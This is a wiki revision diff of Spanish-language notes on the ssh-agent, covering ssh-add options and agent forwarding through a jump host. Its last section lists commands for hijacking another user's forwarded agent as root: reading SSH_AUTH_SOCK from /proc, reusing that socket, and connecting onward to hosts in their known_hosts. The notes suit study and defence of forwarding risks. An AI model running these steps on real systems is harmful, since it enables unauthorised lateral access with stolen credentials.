linux:ssh:agente

Diferències

Ací es mostren les diferències entre la revisió seleccionada i la versió actual de la pàgina.

Enllaç a la visualització de la comparació

Ambdós costats versió prèvia Revisió prèvia
Següent revisió
Revisió prèvia
linux:ssh:agente [27/05/2025 05:34] – suprimit - edició externa (Data desconeguda) 127.0.0.1linux:ssh:agente [05/05/2026 00:44] (actual) – [agente SSH (ssh-agent)] mate
Línia 1: Línia 1:
 += agente SSH (ssh-agent)
 +{{tag> linux ssh}}
 +
 +== opciones
 +  * <code bash>ssh-add <clave></code> : añade la clave indicada para su uso (si tiene contraseña, nos la pedirá al usar)
 +    * ''-t <>'' : duración de la identidad en el agente (por defecto, segundos)
 +    * <code>s | S   seconds, m | M   minutes, h | H   hours, d | D   days, w | W   weeks</code>
 +  * <code bash>ssh-add -K <clave></code> : añade permanentemente la clave para su uso
 +  * <code bash>ssh-add -L</code> : lista las claves públicas de las claves existentes
 +  * <code bash>ssh-add -l</code> : lista las claves
 +  * <code bash>ssh-add -d <clave></code> : elimina la clave
 +    * ''-D'' : elimina todas las claves
 +  * <code bash>ssh-add -x</code> : bloquea agente
 +    * ''-X'' : desbloquea agente
 +
 +== ssh-agent (port forwarding)
 +  * [[https://deephacking.tech/ssh-agent-hijacking-linux/]]
 +  * {{:linux:ssh:pasted:20250527-054104.png?700}}
 +  * <code ; ~/.ssh/config>
 +Host dmz
 +    HostName dmz
 +    User alice
 +    ForwardAgent yes
 +</code>
 +  * Acceso ordenador DMZ (intermedio):<code bash>ssh dmz
 +# ssh -i ~/.ssh/clave_privada -A user@host</code>
 +  * <code ; ~/.ssh/config>Host internalserver
 +    HostName 192.168.10.30
 +    User alice
 +    ProxyJump dmz
 +    ForwardAgent yes
 +</code>
 +  * Acceso ordenador interno a través del intermedio:<code bash>ssh internalServer</code>
 +    * Si **ForwardAgent** està deshabilitado no se puede.
 +  * verificar 
 +  * <code ; ~/.ssh/config>
 +</code>
 +
 +
 +== comprometer el servidor intermedio
 +  * entrar como root
 +  * mirar usuarios del sistema
 +  * mirar si tienen procesos SSH abiertos:<code bash>pstree -p <USER> | grep ssh</code>
 +  * mirar variables del entorno del usuario:<code bash>cat /proc/<PID>/environ | tr '\0' '\n' | grep SSH_AUTH_SOCK</code>
 +  * mirar a quien corresponde el socket (root): <code bash>SSH_AUTH_SOCK=/tmp/ssh-XXXX41DN9o/agent.46200 ssh-add -l</code>
 +  * mirar ordenadores remotos del usuario: <code bash>cat /home/<USER>/.ssh/known_hosts</code>
 +  * probar la conexión con esos servidores:<code bash>SSH_AUTH_SOCK=/tmp/ssh-XXXX41DN9o/agent.46200 ssh alice@internalserver</code>